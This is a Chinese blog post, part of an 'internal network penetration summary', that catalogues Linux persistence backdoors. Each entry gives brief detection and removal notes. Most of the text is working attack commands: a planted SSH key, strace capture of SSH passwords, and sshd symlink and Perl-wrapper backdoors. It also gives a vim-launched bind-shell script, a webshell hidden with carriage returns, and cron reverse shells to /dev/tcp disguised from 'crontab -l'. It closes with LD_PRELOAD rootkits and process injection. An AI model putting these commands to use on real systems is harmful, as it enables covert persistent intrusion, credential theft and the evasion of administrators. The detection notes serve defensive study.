(2) 检测: 检查各个环境变量文件中是否存在异常代码:
/etc/profile、/etc/profile.d/*.sh、/.bash_profile、/.profile、/.bashrc、/.bash_logout、/etc/bashrc、/etc/bash.bashrc

(3) 清除: 删除异常代码即可。

4.ssh公钥

(1) 原理:

Linux主机在打开了ssh时默认同时开启密钥登录。

1
2
3
4
5
6
7
8
9
10
# 攻击机:
ssh-keygen -t rsa # 生成ssh密钥对,公钥里会带有当前主机的用户名和主机名
cat /home/ubuntu/.ssh/id_rsa.pub

# 目标机:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2EHyw6D3qwT2YufMrEz5TEO3AQ4qWNmHOT324GKAz3f0ej94wwmDfjOnIFa+3h48HIVtoczx3Tk3BRtIIHnyVhHB2o5tMjND06EGIHg3t8whl3eoySTKOqd0CyMS8iElMpexrH6KiKnc4dUbDYFNnysFIYn0cpoomJ8aLuDzBZrzJCaCClqT+SQA12VO78Q6ysCQX5JSWbkG/tfj+q7xDhrcvJ1aBN9WlSRpFWqSjB5KakMASxbMM+JbY1WsdzslvieKZV2s9fSiUP/9SBjKi81fWNZ4LhEp/+N653iQ5OMiKjTHXAOWNGg7U6O8nmWlGEJ2fJIZh6YCus9vxlSh7" >> /root/.ssh/authorized_keys
# 在目标机上将公钥写入到authorized_keys文件,注意这里可以把用户名和主机信息去掉

# 攻击机:
ssh -i id_rsa root@127.0.0.1 # 在攻击机上利用私钥登录。

(2) 检测: 查看authorized_keys文件是否有异常公钥。

(3) 清除: 删除异常公钥。

5.strace记录认证信息

(1) 原理:

strace用来跟踪一个进程执行时所产生的系统调用,或者说是用来监视系统调用的,他可以监视一个新进行的系统调用,也可以监视已经在运行的系统调用,可以获取到参数、返回值、执行时间等,可以利用strace来监视sshd进程,获取用ssh登录的账户密码。

1
2
3
4
5
6
7
8
# 开启strace
ps -ef | grep "sshd -D" | grep -v grep | awk {'print $2'}
strace -f -p 6020 -o /tmp/.sshOutput.log -e trace=write -s 2048 &

# 等待ssh被连接

# 查看结果
grep -n "write(4, \"\\\\0\\\\0\\\\0\\\\" /tmp/.sshOutput.log

此外,可以使用alias添加别名,记录目标机登录别的主机的ssh密码。

1
2
3
4
5
6
7
# 添加ssh别名
alias ssh='strace -o /tmp/.sshOutput_`date +%Y%m%d%H%M%S`.log -e read,write,connect -s 2048 ssh'

# 等待ssh连接别的主机

# 查看结果
grep -n "password: \"" -A 5 /tmp/.sshOutput_20200522011509.log

(2) 检测:

1
2
ps -aux | grep strace # 查看有无对sshd进程监视的strace进程
alias # 查看是否有异常alias

(3) 清除:

kill掉对应进程;取消alias。

unalias ssh
6.ssh任意密码登录后门(ssh软链接后门)

(1) 原理:

ssh登录默认使用PAM进行认证,而在root条件下,部分命令比如su、chsh、chfn等在执行时,无需使用密码,因为这些命令在PAM认证时使用了pam_rootok.so进行认证:

pam_rootok.so:主要作用是使uid=0的账户在认证时直接通过。

PAM在认证时,以命名名字在/etc/pam.d/目录下查找PAM配置文件。

部分配置文件中,对于认证采用了pam_rootok.so,并且使用了sufficient控制标记。

则可以将sshd链接到使用rookok.so进行认证的命令上,并新开一个端口。

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oport=10022

or

ln -sf /usr/sbin/sshd /tmp/chsh
/tmp/chsh -oport=10022

or

ln -sf /usr/sbin/sshd /tmp/chfn
/tmp/chfn -oport=10022

iptables -F

CentOS下不止这三个文件,具体待实测。

(2) 检测: 类似后门会开放端口,在网络连接中可以查看

1
2
netstat -antp | grep -E "su|chsh|chfn" # 找到异常端口及进程
ps -aux | grep 29604 # 通过进程找到异常文件

(3) 清除:

netstat -antp | grep -E "su|chsh|chfn" | awk {'print $7'} | cut -d / -f 1 | sort -u | xargs kill -9
7.ssh认证流程后门(ssh wrapper后门)

(1) 原理:

ssh登录时,系统处理登录请求的文件是/usr/sbin/sshd,那么就可以修改该文件,在登录时执行特定操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 目标机上:
cd /usr/sbin
mv sshd ../bin # 将正常sshd文件移到任意目录下
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/bash -i" if(getpeername(STDIN) =~ /^..LF/);' >>sshd # 当登录的源端口为19526时,直接返回一个shell
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd # 若不是19526端口,则执行正常ssh登录流程,这里花括号里的路径是前面第二条命令的sshd的路径
chmod u+x sshd
/etc/init.d/sshd restart

# 攻击机上
socat STDIO TCP4:127.0.0.1:22,bind=:19526

or

socat STDIO TCP4:127.0.0.1:22,sourceport=19526

为什么是19526端口,LF代表了端口号,如果想修改端口号可以如下操作:

1
2
3
4
5
6
# python2
import struct
buffer = struct.pack('>I6',19526) # 这里输出的LF就是前面命令中的值
print repr(buffer)
buffer = struct.pack('>I6',12345) # 这里输出的值可以用来替换,以自定义源端口
print buffer

(2) 检测: 该后门会修改/usr/sbin/sshd文件,检查该文件是否被修改即可。

(3) 清除: 复制相同ssh版本号的sshd文件进行替换即可。

8.vim python2 扩展后门(未复现)

(1) 原理:

vim安装时默认安装了当前服务器的python版本的扩展,如果是python2那么就会有python2的扩展,利用该扩展,可以用vim执行python脚本。(如果是python3则无法利用此后门,未实测)

1
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py" > /dev/null 2>&1 &) && sleep 2 && rm -f dir.py # dir.py可以是任意的py文件

此处,dir.py文件为一个反弹shell的脚本:

1
2
3
4
5
6
7
8
9
10
11
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

(2) 检测: 该后门会有明显的进程信息:

ps -aux | grep vim

可以看到异常文件,若存在网络行为,也可以看到异常网络连接:

netstat -antp | grep vim

(3) 清除: 杀死进程,删除文件即可。

9.终端解析\r隐藏文本

(1) 原理:

shell在解析\r时会忽略掉\r前的信息。

使用该特性可隐藏webshell代码:

echo -e "<?=\`\$_POST[pass]\`?>\r<?='PHP TEST PAGE';?>" > /var/www/html/test.php

(2) 检测: 此类型的后门虽然在shell下无法查看,但是通过编辑器、vim能够看到。

(3) 清除: 删除恶意代码。

10.计划任务

(1) 原理:

写入计划任务,定期执行特定的命令。

1
2
3
4
5
6
7
# 目标机
crontab -l
echo -e "*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile" | crontab - # 该命令会修改/var/spool/cron/下对应用户的文件,如root用户执行该命令,则会修改该目录下的root文件,也相当于crontab -e
crontab -l

# 攻击机
nc -l 8888

还有许多其他可以执行计划任务的文件或相关文件:

文件/目录 描述
/etc/cron.d/ 存放用来设定除了每天/每周/每月之外的定时任务,比如说每小时周期执行的任务和其他任何定时任务
/etc/cron.d/0hourly 系统每小时第一分钟需要执行的任务
/etc/cron.deny 用户拒绝列表(在该文件中的用户不能使用cron服务)
/etc/crontab 该文件的作用相当于/etc/cron.d/下面的某一个文件,可以定义系统计划任务
/var/spool/cron 以用户名命名的文本文件,存放各个用户自己设定的定时任务,普通用户没有权限直接访问,必须通过crontab命令
/etc/cron.monthly/ 存放系统每个月需要执行的脚本
/etc/cron.weekly/ 存放系统每周需要执行的脚本
/etc/cron.daily/ 存放系统每天需要执行的脚本
/etc/cron.hourly/ 存放系统每小时需要执行的脚本

crontab -l命令实际上就是在读取/var/spool/cron/crontabs/(CentOS:/var/spool/crontab/)目录下对应用户名的文件内容。如果用户从未通过crontab命令设置过计划任务,那么这个文件是不存在的,此时,执行crontab -l会返回no crontab for root。

这里有个技巧,就是在计划任务要执行的命令中插入不可打印字符,使得crontab -l命令显示我们知道的字符串:

(printf "*/1 * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n") | crontab -

(2) 检测: 查看各个计划任务文件的内容是否有异常,或使用crontab -l命令列出当前用户的自定义计划任务。

(3) 清除: 删除异常计划任务即可。

11.预加载动态链接库

(1) 原理:

系统在执行一些命令的时候,在真正执行其文件之前,会加载相应的动态链接库。linux提供了一个可以加载自定义动态链接库的方式,并且比加载正常动态链接库更早。可以利用该特性设置自定义加载恶意动态链接库。

第一种:

export LD_PRELOAD=/usr/lib/cub3.so.1 # https://github.com/mempodippy/cub3

cub3.so.1是一个可以隐藏自己的动态链接库,当设置了预加载动态链接库时,在执行命令的时候即可隐藏自己。

第二种:Vegile后门

条件:必须要有base32命令

git clone https://github.com/Screetsec/Vegile.git
cd Vegile
chmod +x Vegile
./Vegile --u malware # malware为msf的上线elf文件

这个后门会生成多个恶意文件和进程:

/usr/bin/screetsec
/usr/bin/debug
/usr/bin/tracker
/usr/bin/supervisited
/usr/bin/rma

这些恶意文件,msf监听器会收到反弹连接,断开之后还会继续反弹:

进程也无法完全杀死:

CentOS7测试失败,ubuntu18.04测试失败,ubuntu15.04测试成功(未实测)

(2) 检测:

第一种:查看LD_PRELOAD环境变量的值是否存在异常,对存在异常的文件进行分析。

第二种:查看/etc/ld.so.preload文件内容,对存在异常的文件进行分析。

(3) 清除:

第一种:取消LD_PRELOAD环境变量并删除对应文件。

第二种:删除/etc/ld.so.preload文件中的异常文件。

1
2
cat /etc/ld.so.preload
echo > /etc/ld.so.preload # 取消so文件加载

还要解决一个问题:把异常进程杀死

1
pstree -a -h -p # 列出进程树,查看异常进程的父进程
1
rm -f /usr/local/lib/libprocesshider.so # 删除异常so文件

发现该进程加载了恶意so文件。尝试kill 14753进程,然后再看:

发现是14753这个进程启动的异常进程,启动命令:sh -c /usr/lib/at-spi2-core/at-spi2-core-launcher

查看该父进程加载的so文件:

pmap -p -q 14753

发现异常进程再次启动,并且后门正常外联:

说明,子进程对父进程有进程保护,父进程调用子进程

删除父进程文件并挂起(kill -STOP)父进程,再杀死所有子进程,最后杀死父进程:

1
2
3
4
5
6
7
kill -STOP 14574 # 挂起父进程
kill -9 14971 # 杀死子进程
kill -9 14975 # 杀死子进程
kill -9 15092 # 杀死子进程
kill -9 15101 # 杀死子进程
kill -9 16089 # 杀死子进程
kill -9 14574 # 杀死父进程

此时,所有恶意进程被杀死:

处理完成。

12.进程注入

(1) 原理:

将恶意的动态链接库注入到其他进程当中执行,因此较为隐蔽。

在linux的多个发行版本中,内核的默认配置文件/proc/sys/kernel/yama/ptrace_scope设置为1,意思是限制进程除了fork()派生外,无法通过ptrace()来操作另外一个进程。如果要进行进程注入,则需要修改该值为0。

1
echo 0 > /proc/sys/kernel/yama/ptrace_scope # 需要root权限

注入工具:https://github.com/gaffe23/linux-inject/

CentOS7:

我们要注入的so文件源码:

1

将上述代码编译为so文件:

clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o back.so -lpthread -fPID back.c

尝试注入系统进程失败,找一个非系统进程注入:

注入之后,收到反弹shell。

但是这个进程注入工具在注入到目标进程后,会把目标进程给替换掉,也就是把源进程给干掉,pid不变,cmdline这些都变了,其实是一个不完美的工具。

Ubuntu18.04:

显示失败,实际上是成功的。

(2) 检测: 该工具会有明显的进程名,检查进程名即可。

(3) 清除: 杀死恶意进程。

后门辅助技巧:创建文件名无法补全的文件

(1) 原理:

linux下每个目录默认存在.和..两个目录,且可用tab键补全。但如果文件名只包含.和空格则无法直接补全。可以利用.或..跟上多个空格来创建文件或文件夹,使管理员难以删除这个文件或文件夹。

1
2
echo whoami > .\ \ \ \ 
mkdir ..\ \ \

此时,用tab键无法补全。

(2) 检测: 出现这种情况还是很容易识别异常的,因为本身就是异常。

(3) 清除: 虽然tab键无法补全,但是通过原理可知,是因为后面添加了空格,所以在.或..后添加\加空格后即可补全:

也可以对该文件进行编辑和删除。

后门辅助技巧:修改文件属性

(1) 原理:

任何文件都有文件属性,默认普通文件的文件属性都是空白,对文件添加不可修改属性之后,文件即无法被删除和修改内容。

1
2
lsattr filename
chattr +i filename

(2) 检测: lsattr命令可以查看文件属性,带有i则为添加了不可修改属性,如果判断为恶意的文件无法删除的话,可以尝试修改文件属性。

(3) 清除:

1
chattr -i filename

五、清理痕迹

清理痕迹在上篇中已经写了很多了,后续有的话,会持续进行补充~

https://aqiao-jashell.github.io/2023/09/26/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93/#%E6%B8%85%E7%90%86%E7%97%95%E8%BF%B9

后续有新手法,新知识点。会直接同步到这篇文章中。

持续更新中……


内网渗透总结2--补充
http://aqiao-jashell.github.io/2025/07/04/内网渗透总结2-补充/
作者
CNAQ
发布于
2025年7月4日
许可协议